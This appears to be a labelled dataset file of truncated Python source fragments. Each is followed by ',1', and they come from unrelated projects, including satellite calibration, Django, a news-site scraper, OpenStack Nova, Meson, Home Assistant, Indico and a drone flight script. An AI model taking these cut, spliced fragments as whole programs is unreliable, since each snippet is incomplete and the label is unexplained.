URLS[platform][chan] print(url) page = get_page(url) coeffs[platform][chan] = get_coeffs(page) return coeffs def save_coeffs(coeffs, out_dir=''): """"""Save calibration coefficients to HDF5 files."""""" for platform in coeffs.keys(): fname = os.path.join(out_dir, ""%s_calibration_data.h5"" % platform) fid = h5py.File(fname, 'w') for chan in coeffs[platform].keys(): fid.create_group(chan) fid[chan]['datetime'] = coeffs[platform][chan]['datetime'] fid[chan]['slope1'] = coeffs[platform][chan]['slope1'] fid[chan]['intercept1'] = coeffs[platform][chan]['intercept1'] fid[chan]['slope2'] = coeffs[platform][chan]['slope2'] fid[chan]['intercept2'] = coeffs[platform][chan]['intercept2'] fid.close() print(""Calibration coefficients saved for %s"" % platform) def main(): """"""Create calibration coefficient files for AVHRR."""""" out_dir = sys.argv[1] coeffs = get_all_coeffs() save_coeffs(coeffs, out_dir=out_dir) if __name__ == ""__main__"": main() ",1 " hashlib import re register = Library() class ViewNode(Node): def __init__(self, parser, token): self.args = [] self.kwargs = {} tokens = token.split_contents() if len(tokens) < 2: raise TemplateSyntaxError(""%r tag requires one or more arguments"" % token.contents.split()[0]) tag_name = tokens.pop(0) self.url_or_view = tokens.pop(0) for token in tokens: equals = token.find(""="") if equals == -1: self.args.append(token) else: self.kwargs[str(token[:equals])] = token[equals + 1:] def render(self, context): print('render view tag...') if 'request' not in context: return """" request = context['request'] # get the url for the view url = Variable(self.url_or_view).resolve(context) if not settings.USE_AJAX_REQUESTS: # do not load the whole template, just the content, like an ajax request #request.is_ajax = True # not needed since the jQuery.get() is implying this urlconf = getattr(request, ""urlconf"", settings.ROOT_URLCONF) resolver = urlresolvers.RegexURLResolver(r'^/', urlconf) # get the view function view, args, kwargs = resolver.resolve(url) try: if callable(view): ret = view(context['request'], *args, **kwargs).render() return ret.rendered_content raise Exception(""%r is not callable"" % view) except: if settings.TEMPLATE_DEBUG: raise else: print('return js code for jquery') return """"""
loading ...
"""""" % {'div_id': url.replace(""/"", """"), 'url': url} return """" register.tag('view', ViewNode) ",1 "mport SampleGroup class RunInfoTest(TestCase): def test_get_all_samples(self): expected_fastq_paths = ['1a_R1_001.fastq', '1b_R1_001.fastq', '2_R1_001.fastq'] run_info = RunInfo( sample_groups=[SampleGroup(Sample(fastq1='1a_R1_001.fastq'), Sample(fastq1='1b_R1_001.fastq')), SampleGroup(Sample(fastq1='2_R1_001.fastq'))]) fastq_paths = [sample.fastq1 for sample in run_info.get_all_samples()] self.assertEqual(expected_fastq_paths, fastq_paths) ",1 "ensource.org/licenses/BSD-3-Clause> """""" from selenium import webdriver import os import time import logging import re import random from cameo.utility import Utility from cameo.localdb import LocalDbForTECHORANGE """""" 抓取 科技報橘 html 存放到 source_html """""" class SpiderForTECHORANGE: #建構子 def __init__(self): self.SOURCE_HTML_BASE_FOLDER_PATH = u""cameo_res\\source_html"" self.PARSED_RESULT_BASE_FOLDER_PATH = u""cameo_res\\parsed_result"" self.strWebsiteDomain = u""http://buzzorange.com/techorange"" self.dicSubCommandHandler = { ""index"":self.downloadIndexPage, ""tag"":self.downloadTagPag, ""news"":self.downloadNewsPage } self.utility = Utility() self.db = LocalDbForTECHORANGE() self.driver = None #取得 spider 使用資訊 def getUseageMessage(self): return (""- TECHORANGE -\n"" ""useage:\n"" ""index - download entry page of TECHORANGE \n"" ""tag - download not obtained tag page \n"" ""news [tag] - download not obtained news [of given tag] \n"") #取得 selenium driver 物件 def getDriver(self): chromeDriverExeFilePath = ""cameo_res\\chromedriver.exe"" driver = webdriver.Chrome(chromeDriverExeFilePath) return driver #初始化 selenium driver 物件 def initDriver(self): if self.driver is None: self.driver = self.getDriver() #終止 selenium driver 物件 def quitDriver(self): self.driver.quit() self.driver = None #執行 spider def runSpider(self, lstSubcommand=None): strSubcommand = lstSubcommand[0] strArg1 = None if len(lstSubcommand) == 2: strArg1 = lstSubcommand[1] self.initDriver() #init selenium driver self.dicSubCommandHandler[strSubcommand](strArg1) self.quitDriver() #quit selenium driver #下載 index 頁面 def downloadIndexPage(self, uselessArg1=None): logging.info(""download index page"") strIndexHtmlFolderPath = self.SOURCE_HTML_BASE_FOLDER_PATH + u""\\TECHORANGE"" if not os.path.exists(strIndexHtmlFolderPath): os.mkdir(strIndexHtmlFolderPath) #mkdir source_html/TECHORANGE/ #科技報橘首頁 self.driver.get(""https://buzzorange.com/techorange/"") #儲存 html strIndexHtmlFilePath = strIndexHtmlFolderPath + u""\\index.html"" self.utility.overwriteSaveAs(strFilePath=strIndexHtmlFilePath, unicodeData=self.driver.page_source) #下載 tag 頁面 def downloadTagPag(self, uselessArg1=None): logging.info(""download tag page"") strTagHtmlFolderPath = self.SOURCE_HTML_BASE_FOLDER_PATH + u""\\TECHORANGE\\tag"" if not os.path.exists(strTagHtmlFolderPath): os.mkdir(strTagHtmlFolderPath) #mkdir source_html/TECHORANGE/tag/ strTagWebsiteDomain = self.strWebsiteDomain + u""/tag"" #取得 Db 中尚未下載的 Tag 名稱 lstStrNotObtainedTagName = self.db.fetchallNotObtainedTagName() for strNotObtainedTagName in lstStrNotObtainedTagName: #略過名稱太長的 tag if len(strNotObtainedTagName) > 60: continue strTagUrl = strTagWebsiteDomain + u""/"" + strNotObtainedTagName #tag 第0頁 intPageNum = 0 time.sleep(random.randint(2,5)) #sleep random time self.driver.get(strTagUrl) #儲存 html strTagHtmlFilePath = strTagHtmlFolderPath + u""\\%d_%s_tag.html""%(intPageNum, strNotObtainedTagName) self.utility.overwriteSaveAs(strFilePath=strTagHtmlFilePath, unicodeData=self.driver.page_source) #tag 下一頁 elesNextPageA = self.driver.find_elements_by_css_selector(""div.nav-links a.next.page-numbers"") while len(elesNextPageA) != 0: time.sleep(random.randint(2,5)) #sleep random time intPageNum = intPageNum+1 strTagUrl = elesNextPageA[0].get_attribute(""href"") self.driver.get(strTagUrl) #儲存 html strTagHtmlFilePath = strTagHtmlFolderPath + u""\\%d_%s_tag.html""%(intPageNum, strNotObtainedTagName) self.utility.overwriteSaveAs(strFilePath=strTagHtmlFilePath, unicodeData=self.driver.page_source) #tag 再下一頁 elesNextPageA = self.driver.find_elements_by_css_selector(""div.nav-links a.next.page-numbers"") #更新tag DB 為已抓取 (isGot = 1) self.db.updateTagStatusIsGot(strTagName=strNotObtainedTagName) logging.info(""got tag %s""%strNotObtainedTagName) #限縮 字串長度低於 128 字元 def limitStrLessThen128Char(self, strStr=None): if len(strStr) > 128: logging.info(""limit str less then 128 char"") return strStr[:127] + u""_"" else: return strStr #下載 news 頁面 (strTagName == None 會自動找尋已下載完成之 tag,但若未先執行 parser tag 即使 tag 已下載完成亦無法下載 news) def downloadNewsPage(self, strTagName=None): if strTagName is None: #未指定 tag lstStrObtainedTagName = self.db.fetchallCompletedObtainedTagName() for strObtainedTagName in lstStrObtainedTagName: self.downloadNewsPageWithGivenTagName(strTagName=strObtainedTagName) else: #有指定 tag 名稱 self.downloadNewsPageWithGivenTagName(strTagName=strTagName) #下載 news 頁面 (指定 tag 名稱) def downloadNewsPageWithGivenTagName(self, strTagName=None): logging.info(""download news page with tag %s""%strTagName) strNewsHtmlFolderPath = self.SOURCE_HTML_BASE_FOLDER_PATH + u""\\TECHORANGE\\news"" if not os.path.exists(strNewsHtmlFolderPath): os.mkdir(strNewsHtmlFolderPath) #mkdir source_html/TECHORANGE/news/ #取得 DB 紀錄中,指定 strTagName tag 的 news url lstStrNewsUrl = self.db.fetchallNewsUrlByTagName(strTagName=strTagName) intDownloadedNewsCount = 0#紀錄下載 news 頁面數量 timeStart = time.time() #計時開始時間點 timeEnd = None #計時結束時間點 for strNewsUrl in lstStrNewsUrl: #檢查是否已下載 if not self.db.checkNewsIsGot(strNewsUrl=strNewsUrl): if intDownloadedNewsCount%10 == 0: #計算下載10筆news所需時間 timeEnd = time.time() timeCost = timeEnd - timeStart logging.info(""download 10 news cost %f sec""%timeCost) timeStart = timeEnd intDownloadedNewsCount = intDownloadedNewsCount+1 time.sleep(random.randint(2,5)) #sleep random time self.driver.get(strNewsUrl) #儲存 html strNewsName = re.match(""^https://buzzorange.com/techorange/[\d]{4}/[\d]{2}/[\d]{2}/(.*)/$"", strNewsUrl).group(1) strNewsName = self.limitStrLessThen128Char(strStr=strNewsName) #將名稱縮短小於128字完 strNewsHtmlFilePath = strNewsHtmlFolderPath + u""\\%s_news.html""%strNewsName self.utility.overwriteSaveAs(strFilePath=strNewsHtmlFilePath, unicodeData=self.driver.page_source) #更新news DB 為已抓取 (isGot = 1) self.db.updateNewsStatusIsGot(strNewsUrl=strNewsUrl) ",1 "s free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . # # Authors: Olivier Guilyardi # David LIPSZYC # Guillaume Pellerin from __future__ import division from django.utils.translation import ugettext_lazy as _ from telemeta.models.core import * from telemeta.models.resource import * from telemeta.models.collection import * class MediaCorpus(MediaBaseResource): ""Describe a corpus"" element_type = 'corpus' children_type = 'collections' children = models.ManyToManyField(MediaCollection, related_name=""corpus"", verbose_name=_('collections'), blank=True) recorded_from_year = IntegerField(_('recording year (from)'), help_text=_('YYYY')) recorded_to_year = IntegerField(_('recording year (until)'), help_text=_('YYYY')) objects = MediaCorpusManager() permissions = ((""can_download_corpus_epub"", ""Can download corpus EPUB""),) @property def public_id(self): return self.code @property def has_mediafile(self): for child in self.children.all(): if child.has_mediafile: return True return False def computed_duration(self): duration = Duration() for child in self.children.all(): duration += child.computed_duration() return duration computed_duration.verbose_name = _('total available duration') class Meta(MetaCore): db_table = 'media_corpus' verbose_name = _('corpus') verbose_name_plural = _('corpus') ordering = ['code'] class MediaCorpusRelated(MediaRelated): ""Corpus related media"" resource = ForeignKey(MediaCorpus, related_name=""related"", verbose_name=_('corpus')) class Meta(MetaCore): db_table = 'media_corpus_related' verbose_name = _('corpus related media') verbose_name_plural = _('corpus related media') ",1 "rmRecord admin.site.register(AbuseReport) class SearchTermAdmin(admin.ModelAdmin): list_display = ('__unicode__', 'ip_address', 'get_user_full_name', ) search_fields = ('term', ) def get_user_full_name(self, obj): if obj.user is None: return ""(%s)"" % _(u""None"") return obj.user.get_full_name() get_user_full_name.short_description = ""user"" admin.site.register(SearchTermRecord, SearchTermAdmin) ",1 "iance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_serialization import jsonutils from oslo_utils import versionutils from nova.db import api as db from nova import exception from nova.objects import base from nova.objects import fields @base.NovaObjectRegistry.register class MigrationContext(base.NovaPersistentObject, base.NovaObject): """"""Data representing additional resources related to a migration. Some resources cannot be calculated from knowing the flavor alone for the purpose of resources tracking, but need to be persisted at the time the claim was made, for subsequent resource tracking runs to be consistent. MigrationContext objects are created when the claim is done and are there to facilitate resource tracking and final provisioning of the instance on the destination host. """""" # Version 1.0: Initial version # Version 1.1: Add old/new pci_devices and pci_requests VERSION = '1.1' fields = { 'instance_uuid': fields.UUIDField(), 'migration_id': fields.IntegerField(), 'new_numa_topology': fields.ObjectField('InstanceNUMATopology', nullable=True), 'old_numa_topology': fields.ObjectField('InstanceNUMATopology', nullable=True), 'new_pci_devices': fields.ObjectField('PciDeviceList', nullable=True), 'old_pci_devices': fields.ObjectField('PciDeviceList', nullable=True), 'new_pci_requests': fields.ObjectField('InstancePCIRequests', nullable=True), 'old_pci_requests': fields.ObjectField('InstancePCIRequests', nullable=True), } @classmethod def obj_make_compatible(cls, primitive, target_version): target_version = versionutils.convert_version_to_tuple(target_version) if target_version < (1, 1): primitive.pop('old_pci_devices', None) primitive.pop('new_pci_devices', None) primitive.pop('old_pci_requests', None) primitive.pop('new_pci_requests', None) @classmethod def obj_from_db_obj(cls, db_obj): primitive = jsonutils.loads(db_obj) return cls.obj_from_primitive(primitive) @base.remotable_classmethod def get_by_instance_uuid(cls, context, instance_uuid): db_extra = db.instance_extra_get_by_instance_uuid( context, instance_uuid, columns=['migration_context']) if not db_extra: raise exception.MigrationContextNotFound( instance_uuid=instance_uuid) if db_extra['migration_context'] is None: return None return cls.obj_from_db_obj(db_extra['migration_context']) ",1 "ompliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. '''This module provides helper functions for Gnome/GLib related functionality such as gobject-introspection and gresources.''' import build import os, sys import subprocess from coredata import MesonException import mlog class GnomeModule: def compile_resources(self, state, args, kwargs): cmd = ['glib-compile-resources', '@INPUT@', '--generate'] if 'source_dir' in kwargs: d = os.path.join(state.build_to_src, state.subdir, kwargs.pop('source_dir')) cmd += ['--sourcedir', d] if 'c_name' in kwargs: cmd += ['--c-name', kwargs.pop('c_name')] cmd += ['--target', '@OUTPUT@'] kwargs['command'] = cmd output_c = args[0] + '.c' output_h = args[0] + '.h' kwargs['input'] = args[1] kwargs['output'] = output_c target_c = build.CustomTarget(args[0]+'_c', state.subdir, kwargs) kwargs['output'] = output_h target_h = build.CustomTarget(args[0] + '_h', state.subdir, kwargs) return [target_c, target_h] def generate_gir(self, state, args, kwargs): if len(args) != 1: raise MesonException('Gir takes one argument') girtarget = args[0] while hasattr(girtarget, 'held_object'): girtarget = girtarget.held_object if not isinstance(girtarget, (build.Executable, build.SharedLibrary)): raise MesonException('Gir target must be an executable or shared library') pkgstr = subprocess.check_output(['pkg-config', '--cflags', 'gobject-introspection-1.0']) pkgargs = pkgstr.decode().strip().split() ns = kwargs.pop('namespace') nsversion = kwargs.pop('nsversion') libsources = kwargs.pop('sources') girfile = '%s-%s.gir' % (ns, nsversion) depends = [girtarget] scan_command = ['g-ir-scanner', '@INPUT@'] scan_command += pkgargs scan_command += ['--namespace='+ns, '--nsversion=' + nsversion, '--warn-all', '--output', '@OUTPUT@'] for incdirs in girtarget.include_dirs: for incdir in incdirs.get_incdirs(): scan_command += ['-I%s' % os.path.join(state.environment.get_source_dir(), incdir)] if 'link_with' in kwargs: link_with = kwargs.pop('link_with') for link in link_with: lib = link.held_object scan_command += ['-l%s' % lib.name] if isinstance(lib, build.SharedLibrary): scan_command += ['-L%s' % os.path.join(state.environment.get_build_dir(), lib.subdir)] depends.append(lib) if 'includes' in kwargs: includes = kwargs.pop('includes') if isinstance(includes, str): scan_command += ['--include=%s' % includes] elif isinstance(includes, list): scan_command += ['--include=%s' % inc for inc in includes] else: raise MesonException('Gir includes must be str or list') if state.global_args.get('c'): scan_command += ['--cflags-begin'] scan_command += state.global_args['c'] scan_command += ['--cflags-end'] if kwargs.get('symbol_prefix'): sym_prefix = kwargs.pop('symbol_prefix') if not isinstance(sym_prefix, str): raise MesonException('Gir symbol prefix must be str') scan_command += ['--symbol-prefix=%s' % sym_prefix] if kwargs.get('identifier_prefix'): identifier_prefix = kwargs.pop('identifier_prefix') if not isinstance(identifier_prefix, str): raise MesonException('Gir identifier prefix must be str') scan_command += ['--identifier-prefix=%s' % identifier_prefix] if kwargs.get('export_packages'): pkgs = kwargs.pop('export_packages') if isinstance(pkgs, str): scan_command += ['--pkg-export=%s' % pkgs] elif isinstance(pkgs, list): scan_command += ['--pkg-export=%s' % pkg for pkg in pkgs] else: raise MesonException('Gir export packages must be str or list') deps = None if 'dependencies' in kwargs: deps = kwargs.pop('dependencies') if not isinstance (deps, list): deps = [deps] for dep in deps: girdir = dep.held_object.get_variable (""girdir"") if girdir: scan_command += [""--add-include-path=%s"" % girdir] inc_dirs = None if kwargs.get('include_directories'): inc_dirs = kwargs.pop('include_directories') if isinstance(inc_dirs.held_object, build.IncludeDirs): scan_command += ['--add-include-path=%s' % inc for inc in inc_dirs.held_object.get_incdirs()] else: raise MesonException('Gir include dirs should be include_directories()') if isinstance(girtarget, build.Executable): scan_command += ['--program', girtarget] elif isinstance(girtarget, build.SharedLibrary): scan_command += [""-L"", os.path.join (state.environment.get_build_dir(), girtarget.subdir)] libname = girtarget.get_basename() scan_command += ['--library', libname] scankwargs = {'output' : girfile, 'input' : libsources, 'command' : scan_command, 'depends' : depends, } if kwargs.get('install'): scankwargs['install'] = kwargs['install'] scankwargs['install_dir'] = os.path.join(state.environment.get_datadir(), 'gir-1.0') scan_target = GirTarget(girfile, state.subdir, scankwargs) typelib_output = '%s-%s.typelib' % (ns, nsversion) typelib_cmd = ['g-ir-compiler', scan_target, '--output', '@OUTPUT@'] if inc_dirs: typelib_cmd += ['--includedir=%s' % inc for inc in inc_dirs.held_object.get_incdirs()] if deps: for dep in deps: girdir = dep.held_object.get_variable (""girdir"") if girdir: typelib_cmd += [""--includedir=%s"" % girdir] kwargs['output'] = typelib_output kwargs['command'] = typelib_cmd # Note that this can't be libdir, because e.g. on Debian it points to # lib/x86_64-linux-gnu but the girepo dir is always under lib. kwargs['install_dir'] = 'lib/girepository-1.0' typelib_target = TypelibTarget(typelib_output, state.subdir, kwargs) return [scan_target, typelib_target] def compile_schemas(self, state, args, kwargs): if len(args) != 0: raise MesonException('Compile_schemas does not take positional arguments.') srcdir = os.path.join(state.build_to_src, state.subdir) outdir = state.subdir cmd = ['glib-compile-schemas', '--targetdir', outdir, srcdir] kwargs['command'] = cmd kwargs['input'] = [] kwargs['output'] = 'gschemas.compiled' if state.subdir == '': targetname = 'gsettings-compile' else: targetname = 'gsettings-compile-' + state.subdir target_g = build.CustomTarget(targetname, state.subdir, kwargs) return target_g def gtkdoc(self, state, args, kwargs): if len(args) != 1: raise MesonException('Gtkdoc must have one positional argument.') modulename = args[0] if not isinstance(modulename, str): raise MesonException('Gtkdoc arg must be string.') if not 'src_dir' in kwargs: raise MesonException('Keyword argument src_dir missing.') main_file = kwargs.get('main_sgml', '') if not isinstance(main_file, str): raise MesonException('Main sgml keyword argument must be a string.') main_xml = kwargs.get('main_xml', '') if not isinstance(main_xml, str): raise MesonException('Main xml keyword argument must be a string.') if main_xml != '': if main_file != '': raise MesonException('You can only specify main_xml or main_sgml, not both.') main_file = main_xml src_dir = kwargs['src_dir'] targetname = modulename + '-doc' command = os.path.normpath(os.path.join(os.path.split(__file__)[0], ""../gtkdochelper.py"")) args = [state.environment.get_source_dir(), state.environment.get_build_dir(), state.subdir, os.path.normpath(os.path.join(state.subdir, src_dir)), main_file, modulename] res = [build.RunTarget(targetname, command, args, state.subdir)] if kwargs.get('install', True): res.append(build.InstallScript([command] + args)) return res def gdbus_codegen(self, state, args, kwargs): if len(args) != 2: raise MesonException('Gdbus_codegen takes two arguments, name and xml file.') namebase = args[0] xml_file = args[1] cmd = ['gdbus-codegen'] if 'interface_prefix' in kwargs: cmd += ['--interface-prefix', kwargs.pop('interface_prefix')] if 'namespace' in kwargs: cmd += ['--c-namespace', kwargs.pop('namespace')] cmd += ['--generate-c-code', os.path.join(state.subdir, namebase), '@INPUT@'] outputs = [namebase + '.c', namebase + '.h'] custom_kwargs = {'input' : xml_file, 'output' : outputs, 'command' : cmd } return build.CustomTarget(namebase + '-gdbus', state.subdir, custom_kwargs) def initialize(): mlog.log('Warning, glib compiled dependencies will not work until this upstream issue is fixed:', mlog.bold('https://bugzilla.gnome.org/show_bug.cgi?id=745754')) return GnomeModule() class GirTarget(build.CustomTarget): def __init__(self, name, subdir, kwargs): super().__init__(name, subdir, kwargs) class TypelibTarget(build.CustomTarget): def __init__(self, name, subdir, kwargs): super().__init__(name, subdir, kwargs) ",1 "file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""ByteNet tests."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensor2tensor.data_generators import problem_hparams from tensor2tensor.models import bytenet import tensorflow as tf class ByteNetTest(tf.test.TestCase): def testByteNet(self): vocab_size = 9 x = np.random.random_integers(1, high=vocab_size - 1, size=(3, 5, 1, 1)) y = np.random.random_integers(1, high=vocab_size - 1, size=(3, 6, 1, 1)) hparams = bytenet.bytenet_base() p_hparams = problem_hparams.test_problem_hparams(vocab_size, vocab_size) with self.test_session() as session: features = { ""inputs"": tf.constant(x, dtype=tf.int32), ""targets"": tf.constant(y, dtype=tf.int32), } model = bytenet.ByteNet( hparams, tf.estimator.ModeKeys.TRAIN, p_hparams) logits, _ = model(features) session.run(tf.global_variables_initializer()) res = session.run(logits) self.assertEqual(res.shape, (3, 50, 1, 1, vocab_size)) if __name__ == ""__main__"": tf.test.main() ",1 "c import FoobotClient import voluptuous as vol from homeassistant.const import ( ATTR_TEMPERATURE, ATTR_TIME, CONF_TOKEN, CONF_USERNAME, TEMP_CELSIUS, ) from homeassistant.exceptions import PlatformNotReady from homeassistant.helpers.aiohttp_client import async_get_clientsession import homeassistant.helpers.config_validation as cv from homeassistant.helpers.config_validation import PLATFORM_SCHEMA from homeassistant.helpers.entity import Entity from homeassistant.util import Throttle _LOGGER = logging.getLogger(__name__) ATTR_HUMIDITY = ""humidity"" ATTR_PM2_5 = ""PM2.5"" ATTR_CARBON_DIOXIDE = ""CO2"" ATTR_VOLATILE_ORGANIC_COMPOUNDS = ""VOC"" ATTR_FOOBOT_INDEX = ""index"" SENSOR_TYPES = { ""time"": [ATTR_TIME, ""s""], ""pm"": [ATTR_PM2_5, ""µg/m3"", ""mdi:cloud""], ""tmp"": [ATTR_TEMPERATURE, TEMP_CELSIUS, ""mdi:thermometer""], ""hum"": [ATTR_HUMIDITY, ""%"", ""mdi:water-percent""], ""co2"": [ATTR_CARBON_DIOXIDE, ""ppm"", ""mdi:periodic-table-co2""], ""voc"": [ATTR_VOLATILE_ORGANIC_COMPOUNDS, ""ppb"", ""mdi:cloud""], ""allpollu"": [ATTR_FOOBOT_INDEX, ""%"", ""mdi:percent""], } SCAN_INTERVAL = timedelta(minutes=10) PARALLEL_UPDATES = 1 TIMEOUT = 10 PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( {vol.Required(CONF_TOKEN): cv.string, vol.Required(CONF_USERNAME): cv.string} ) async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): """"""Set up the devices associated with the account."""""" token = config.get(CONF_TOKEN) username = config.get(CONF_USERNAME) client = FoobotClient( token, username, async_get_clientsession(hass), timeout=TIMEOUT ) dev = [] try: devices = await client.get_devices() _LOGGER.debug(""The following devices were found: %s"", devices) for device in devices: foobot_data = FoobotData(client, device[""uuid""]) for sensor_type in SENSOR_TYPES: if sensor_type == ""time"": continue foobot_sensor = FoobotSensor(foobot_data, device, sensor_type) dev.append(foobot_sensor) except ( aiohttp.client_exceptions.ClientConnectorError, asyncio.TimeoutError, FoobotClient.TooManyRequests, FoobotClient.InternalError, ): _LOGGER.exception(""Failed to connect to foobot servers."") raise PlatformNotReady except FoobotClient.ClientError: _LOGGER.error(""Failed to fetch data from foobot servers."") return async_add_entities(dev, True) class FoobotSensor(Entity): """"""Implementation of a Foobot sensor."""""" def __init__(self, data, device, sensor_type): """"""Initialize the sensor."""""" self._uuid = device[""uuid""] self.foobot_data = data self._name = ""Foobot {} {}"".format(device[""name""], SENSOR_TYPES[sensor_type][0]) self.type = sensor_type self._unit_of_measurement = SENSOR_TYPES[sensor_type][1] @property def name(self): """"""Return the name of the sensor."""""" return self._name @property def icon(self): """"""Icon to use in the frontend."""""" return SENSOR_TYPES[self.type][2] @property def state(self): """"""Return the state of the device."""""" try: data = self.foobot_data.data[self.type] except (KeyError, TypeError): data = None return data @property def unique_id(self): """"""Return the unique id of this entity."""""" return f""{self._uuid}_{self.type}"" @property def unit_of_measurement(self): """"""Return the unit of measurement of this entity."""""" return self._unit_of_measurement async def async_update(self): """"""Get the latest data."""""" await self.foobot_data.async_update() class FoobotData(Entity): """"""Get data from Foobot API."""""" def __init__(self, client, uuid): """"""Initialize the data object."""""" self._client = client self._uuid = uuid self.data = {} @Throttle(SCAN_INTERVAL) async def async_update(self): """"""Get the data from Foobot API."""""" interval = SCAN_INTERVAL.total_seconds() try: response = await self._client.get_last_data( self._uuid, interval, interval + 1 ) except ( aiohttp.client_exceptions.ClientConnectorError, asyncio.TimeoutError, self._client.TooManyRequests, self._client.InternalError, ): _LOGGER.debug(""Couldn't fetch data"") return False _LOGGER.debug(""The data response is: %s"", response) self.data = {k: round(v, 1) for k, v in response[0].items()} return True ",1 "s of the MIT License; see the # LICENSE file for more details. from datetime import timedelta from flask import flash, redirect, request, session from indico.core.db import db from indico.modules.admin import RHAdminBase from indico.modules.news import logger, news_settings from indico.modules.news.forms import NewsForm, NewsSettingsForm from indico.modules.news.models.news import NewsItem from indico.modules.news.util import get_recent_news from indico.modules.news.views import WPManageNews, WPNews from indico.util.date_time import now_utc from indico.util.i18n import _ from indico.web.flask.util import url_for from indico.web.forms.base import FormDefaults from indico.web.rh import RH from indico.web.util import jsonify_data, jsonify_form class RHNews(RH): @staticmethod def _is_new(item): days = news_settings.get('new_days') if not days: return False return item.created_dt.date() >= (now_utc() - timedelta(days=days)).date() def _process(self): news = NewsItem.query.order_by(NewsItem.created_dt.desc()).all() return WPNews.render_template('news.html', news=news, _is_new=self._is_new) class RHNewsItem(RH): normalize_url_spec = { 'locators': { lambda self: self.item.locator.slugged } } def _process_args(self): self.item = NewsItem.get_or_404(request.view_args['news_id']) def _process(self): return WPNews.render_template('news_item.html', item=self.item) class RHManageNewsBase(RHAdminBase): pass class RHManageNews(RHManageNewsBase): def _process(self): news = NewsItem.query.order_by(NewsItem.created_dt.desc()).all() return WPManageNews.render_template('admin/news.html', 'news', news=news) class RHNewsSettings(RHManageNewsBase): def _process(self): form = NewsSettingsForm(obj=FormDefaults(**news_settings.get_all())) if form.validate_on_submit(): news_settings.set_multi(form.data) get_recent_news.clear_cached() flash(_('Settings have been saved'), 'success') return jsonify_data() return jsonify_form(form) class RHCreateNews(RHManageNewsBase): def _process(self): form = NewsForm() if form.validate_on_submit(): item = NewsItem() form.populate_obj(item) db.session.add(item) db.session.flush() get_recent_news.clear_cached() logger.info('News %r created by %s', item, session.user) flash(_(""News '{title}' has been posted"").format(title=item.title), 'success') return jsonify_data(flash=False) return jsonify_form(form) class RHManageNewsItemBase(RHManageNewsBase): def _process_args(self): RHManageNewsBase._process_args(self) self.item = NewsItem.get_or_404(request.view_args['news_id']) class RHEditNews(RHManageNewsItemBase): def _process(self): form = NewsForm(obj=self.item) if form.validate_on_submit(): old_title = self.item.title form.populate_obj(self.item) db.session.flush() get_recent_news.clear_cached() logger.info('News %r modified by %s', self.item, session.user) flash(_(""News '{title}' has been updated"").format(title=old_title), 'success') return jsonify_data(flash=False) return jsonify_form(form) class RHDeleteNews(RHManageNewsItemBase): def _process(self): db.session.delete(self.item) get_recent_news.clear_cached() flash(_(""News '{title}' has been deleted"").format(title=self.item.title), 'success') logger.info('News %r deleted by %r', self.item, session.user) return redirect(url_for('news.manage')) ",1 "am(name,value) # Script.GetParam(name) # Script.ChangeMode(mode) - same as displayed in mode setup screen 'AUTO' # Script.WaitFor(string,timeout) # Script.SendRC(channel,pwm,sendnow) # print 'Start Script' for chan in range(1,9): Script.SendRC(chan,1500,False) Script.SendRC(3,Script.GetParam('RC3_MIN'),True) Script.Sleep(5000) while cs.lat == 0: print 'Waiting for GPS' Script.Sleep(1000) print 'Got GPS' jo = 10 * 13 print jo Script.SendRC(3,1000,False) Script.SendRC(4,2000,True) cs.messages.Clear() Script.WaitFor('ARMING MOTORS',30000) Script.SendRC(4,1500,True) print 'Motors Armed!' Script.SendRC(3,1700,True) while cs.alt < 50: Script.Sleep(50) Script.SendRC(5,2000,True) # acro Script.SendRC(1,2000,False) # roll Script.SendRC(3,1370,True) # throttle while cs.roll > -45: # top hald 0 - 180 Script.Sleep(5) while cs.roll < -45: # -180 - -45 Script.Sleep(5) Script.SendRC(5,1500,False) # stabalise Script.SendRC(1,1500,True) # level roll Script.Sleep(2000) # 2 sec to stabalise Script.SendRC(3,1300,True) # throttle back to land thro = 1350 # will decend while cs.alt > 0.1: Script.Sleep(300) Script.SendRC(3,1000,False) Script.SendRC(4,1000,True) Script.WaitFor('DISARMING MOTORS',30000) Script.SendRC(4,1500,True) print 'Roll complete'",1 "compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """"""Pretty print logging."""""" import logging import pprint from typing import Any def log(level: int, x: Any) -> None: if logging.getLogger(None).isEnabledFor(level): for line in pprint.pformat(x).split('\n'): logging.log(level, line) def info(x: Any) -> None: log(logging.INFO, x) def debug(x: Any) -> None: log(logging.DEBUG, x) ",1 "ogiciel.com> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # # $Id$ # # import sys import glob import os import shutil try : from 